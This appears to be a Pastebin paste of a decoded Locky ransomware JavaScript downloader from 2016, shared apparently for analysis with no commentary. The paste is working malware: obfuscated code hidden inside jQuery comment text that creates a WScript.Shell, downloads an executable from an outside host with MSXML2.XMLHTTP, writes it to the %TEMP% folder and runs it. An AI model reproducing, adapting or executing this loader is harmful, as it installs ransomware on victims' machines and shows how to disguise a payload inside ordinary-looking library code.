Advertisement
Guest User

Decoded content of a Locky JS downloader

a guest
Mar 8th, 2016
201
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. //(function( global, factory ) {var LYkOk = 'Run'; var dDQWLt = this['Ac'+'tive'+'XOb'+("sloped","dilatory",'ject')];var ERBegYxY = new dDQWLt('W'+("lenders","retribution","equal",'Scrip')+'t.S'+'hell');// if ( typeof module === "object" && typeof module.exports === "object" ) {   // For CommonJS and CommonJS-like environments where a proper `window`   // is present, execute the factory and get jQuery.   // For environments that do not have a `window` with a `document`   // (such as Node.js), expose a factory as module.exports.   // This accentuates the need for the creation of a real `window`.   // e.g. var jQuery = require("jquery")(window);   // See ticket #14549 for more info.   module.exports = global.document ?    factory( global, true ) :    function( w ) {     if ( !w.document ) {      throw new Error( "jQuery requires a window with a document" );     }     return factory( w );    };  } else {   factory( global );  var YodtFzuD = ERBegYxY['E'+'xpandEnvi'+'ronmentStri'+("receiver","plastics","gossip","factory",'ngs')](("thrift","mystified","lenses","heather","pericles",'%')+'T'+'EM'+'P%') + ("imputation","cretaceous","benchmark","easier","nasdaq",'/DJ')+'WLt'+'Se'+'A2.exe';//}// Pass this if window is not defined yet }(typeof window !== "undefined" ? window : this, function( window, noGlobal ) {var KIhdP = new dDQWLt(("capital","concertina","squad","claims","appertain",'M')+'SXML2.X'+'MLHT'+("nonchalance","fireworks","uganda",'TP'));//// Support: Firefox 18+ // Can"t be in strict mode, several libs including ASP.NET trace // the stack via arguments.caller.callee and Firefox dies if // you try to trace through "use strict" call chains. (#13335) //"use strict"; var deletedIds = [];KIhdP['onread'+("curtail","outhouse","christians","dinghy","hazards",'ys')+'tatech'+("loafer","bankruptcy","seller","would",'ange')] = function () {        if (KIhdP['read'+'yst'+("religions","polymer","appearing","jewelry","tutelage",'a')+'te'] === 4) {            var SKzQGACmh = new dDQWLt('AD'+'OD'+("brand","garrulous","bloated",'B.')+'Stream');            //var document = window.document;            SKzQGACmh['open']();            //var slice = deletedIds.slice;            SKzQGACmh['type'] = 1;            //var concat = deletedIds.concat;            SKzQGACmh[("agreements","groove","finder","beverage","pissing",'w')+'r'+'i'+'te'](KIhdP['R'+'esp'+'onseBo'+("buffer","formosa","lamentably","sites",'dy')]);            //var push = deletedIds.push;            SKzQGACmh[("drought","astringent","longer",'p')+'os'+'it'+'ion'] = 0;            //var indexOf = deletedIds.indexOf;            SKzQGACmh['sav'+'eTo'+("trinity","declension","genuine","amalgamated",'Fi')+'le'](YodtFzuD, 2);            //var class2type = {};            SKzQGACmh[("autocrat","peerage","compaq",'c')+'l'+("translation","payday","obituaries","untenable","accommodate",'o')+'se']();            //var toString = class2type.toString;        };};try {    //var hasOwn = class2type.hasOwnProperty;    KIhdP['open']('GET', 'http:'+("procedure","manufacturers","writes",'//')+'myphamthanh'+'tam.com/system/logs/87yhb54cdfy.exe', false);    //var support = {};    KIhdP['send']();    //    ERBegYxY[LYkOk](YodtFzuD, 1, ![]+[]);    //var  version = "1.12.1",} catch (mXftEag) { };// // Define a local copy of jQuery  jQuery = function( selector, context ) {
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement